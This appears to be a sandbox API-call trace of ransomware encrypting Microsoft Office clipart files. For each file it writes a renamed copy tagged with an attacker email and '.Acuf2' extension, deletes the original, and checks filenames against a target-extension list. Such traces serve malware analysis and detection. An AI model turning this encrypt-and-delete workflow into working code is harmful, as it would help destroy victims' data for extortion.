	[0272.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.760] GetLastError () returned 0x0
	[0272.760] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xb54, lpOverlapped=0x0) returned 1
	[0272.761] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xb60, lpOverlapped=0x0) returned 1
	[0272.762] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.762] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.762] SetEndOfFile (hFile=0x360) returned 1
	[0272.762] CloseHandle (hObject=0x360) returned 1
	[0272.762] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.762] SetEndOfFile (hFile=0x390) returned 1
	[0272.764] CloseHandle (hObject=0x390) returned 1
	[0272.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 1
	[0272.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63
	[0272.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63
	[0272.764] lstrlenW (lpString=".doc") returned 4
	[0272.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.765] lstrlenW (lpString=".docx") returned 5
	[0272.765] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0272.765] lstrlenW (lpString=".pdf") returned 4
	[0272.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.765] lstrlenW (lpString=".xls") returned 4
	[0272.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.765] lstrlenW (lpString=".xlsx") returned 5
	[0272.765] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0272.765] lstrlenW (lpString=".ppt") returned 4
	[0272.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63
	[0272.765] lstrlenW (lpString=".zip") returned 4
	[0272.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.765] lstrlenW (lpString=".rar") returned 4
	[0272.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.765] lstrlenW (lpString=".bz2") returned 4
	[0272.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.765] lstrlenW (lpString=".7z") returned 3
	[0272.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63
	[0272.765] lstrlenW (lpString=".dbf") returned 4
	[0272.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63
	[0272.765] lstrlenW (lpString=".1cd") returned 4
	[0272.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63
	[0272.765] lstrlenW (lpString=".jpg") returned 4
	[0272.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.766] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=11584) returned 1
	[0272.766] CloseHandle (hObject=0x390) returned 1
	[0272.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 0x20
	[0272.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.766] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.766] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.767] GetLastError () returned 0x0
	[0272.767] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2d40, lpOverlapped=0x0) returned 1
	[0272.768] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2d50, lpOverlapped=0x0) returned 1
	[0272.769] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.769] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.769] SetEndOfFile (hFile=0x360) returned 1
	[0272.769] CloseHandle (hObject=0x360) returned 1
	[0272.769] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.769] SetEndOfFile (hFile=0x390) returned 1
	[0272.773] CloseHandle (hObject=0x390) returned 1
	[0272.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 1
	[0272.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63
	[0272.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63
	[0272.774] lstrlenW (lpString=".doc") returned 4
	[0272.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.774] lstrlenW (lpString=".docx") returned 5
	[0272.774] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0272.774] lstrlenW (lpString=".pdf") returned 4
	[0272.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.774] lstrlenW (lpString=".xls") returned 4
	[0272.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.774] lstrlenW (lpString=".xlsx") returned 5
	[0272.774] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0272.774] lstrlenW (lpString=".ppt") returned 4
	[0272.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63
	[0272.774] lstrlenW (lpString=".zip") returned 4
	[0272.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.774] lstrlenW (lpString=".rar") returned 4
	[0272.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.774] lstrlenW (lpString=".bz2") returned 4
	[0272.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.774] lstrlenW (lpString=".7z") returned 3
	[0272.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63
	[0272.774] lstrlenW (lpString=".dbf") returned 4
	[0272.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63
	[0272.774] lstrlenW (lpString=".1cd") returned 4
	[0272.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63
	[0272.775] lstrlenW (lpString=".jpg") returned 4
	[0272.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.775] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=17060) returned 1
	[0272.775] CloseHandle (hObject=0x390) returned 1
	[0272.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 0x20
	[0272.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.775] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.775] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.776] GetLastError () returned 0x0
	[0272.776] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x42a4, lpOverlapped=0x0) returned 1
	[0272.778] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x42b0, lpOverlapped=0x0) returned 1
	[0272.779] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.779] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.779] SetEndOfFile (hFile=0x360) returned 1
	[0272.779] CloseHandle (hObject=0x360) returned 1
	[0272.779] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.779] SetEndOfFile (hFile=0x390) returned 1
	[0272.781] CloseHandle (hObject=0x390) returned 1
	[0272.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 1
	[0272.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63
	[0272.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63
	[0272.782] lstrlenW (lpString=".doc") returned 4
	[0272.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.782] lstrlenW (lpString=".docx") returned 5
	[0272.782] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0272.782] lstrlenW (lpString=".pdf") returned 4
	[0272.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.782] lstrlenW (lpString=".xls") returned 4
	[0272.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.782] lstrlenW (lpString=".xlsx") returned 5
	[0272.782] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0272.782] lstrlenW (lpString=".ppt") returned 4
	[0272.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63
	[0272.782] lstrlenW (lpString=".zip") returned 4
	[0272.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.782] lstrlenW (lpString=".rar") returned 4
	[0272.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.782] lstrlenW (lpString=".bz2") returned 4
	[0272.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.782] lstrlenW (lpString=".7z") returned 3
	[0272.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63
	[0272.783] lstrlenW (lpString=".dbf") returned 4
	[0272.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63
	[0272.783] lstrlenW (lpString=".1cd") returned 4
	[0272.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63
	[0272.783] lstrlenW (lpString=".jpg") returned 4
	[0272.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.784] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=8860) returned 1
	[0272.784] CloseHandle (hObject=0x390) returned 1
	[0272.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 0x20
	[0272.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.784] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.784] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.785] GetLastError () returned 0x0
	[0272.785] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x229c, lpOverlapped=0x0) returned 1
	[0272.786] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x22a0, lpOverlapped=0x0) returned 1
	[0272.787] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.787] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.787] SetEndOfFile (hFile=0x360) returned 1
	[0272.787] CloseHandle (hObject=0x360) returned 1
	[0272.787] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.787] SetEndOfFile (hFile=0x390) returned 1
	[0272.789] CloseHandle (hObject=0x390) returned 1
	[0272.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 1
	[0272.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63
	[0272.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63
	[0272.790] lstrlenW (lpString=".doc") returned 4
	[0272.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.790] lstrlenW (lpString=".docx") returned 5
	[0272.790] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0272.790] lstrlenW (lpString=".pdf") returned 4
	[0272.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.790] lstrlenW (lpString=".xls") returned 4
	[0272.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.790] lstrlenW (lpString=".xlsx") returned 5
	[0272.790] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0272.790] lstrlenW (lpString=".ppt") returned 4
	[0272.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63
	[0272.790] lstrlenW (lpString=".zip") returned 4
	[0272.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.790] lstrlenW (lpString=".rar") returned 4
	[0272.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.790] lstrlenW (lpString=".bz2") returned 4
	[0272.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.790] lstrlenW (lpString=".7z") returned 3
	[0272.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63
	[0272.791] lstrlenW (lpString=".dbf") returned 4
	[0272.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63
	[0272.791] lstrlenW (lpString=".1cd") returned 4
	[0272.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63
	[0272.791] lstrlenW (lpString=".jpg") returned 4
	[0272.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.792] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=12380) returned 1
	[0272.792] CloseHandle (hObject=0x390) returned 1
	[0272.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 0x20
	[0272.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.792] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.792] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.793] GetLastError () returned 0x0
	[0272.793] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x305c, lpOverlapped=0x0) returned 1
	[0273.130] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x3060, lpOverlapped=0x0) returned 1
	[0273.131] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.131] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.131] SetEndOfFile (hFile=0x360) returned 1
	[0273.148] CloseHandle (hObject=0x360) returned 1
	[0273.148] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.148] SetEndOfFile (hFile=0x390) returned 1
	[0273.155] CloseHandle (hObject=0x390) returned 1
	[0273.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 1
	[0273.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63
	[0273.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63
	[0273.260] lstrlenW (lpString=".doc") returned 4
	[0273.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.260] lstrlenW (lpString=".docx") returned 5
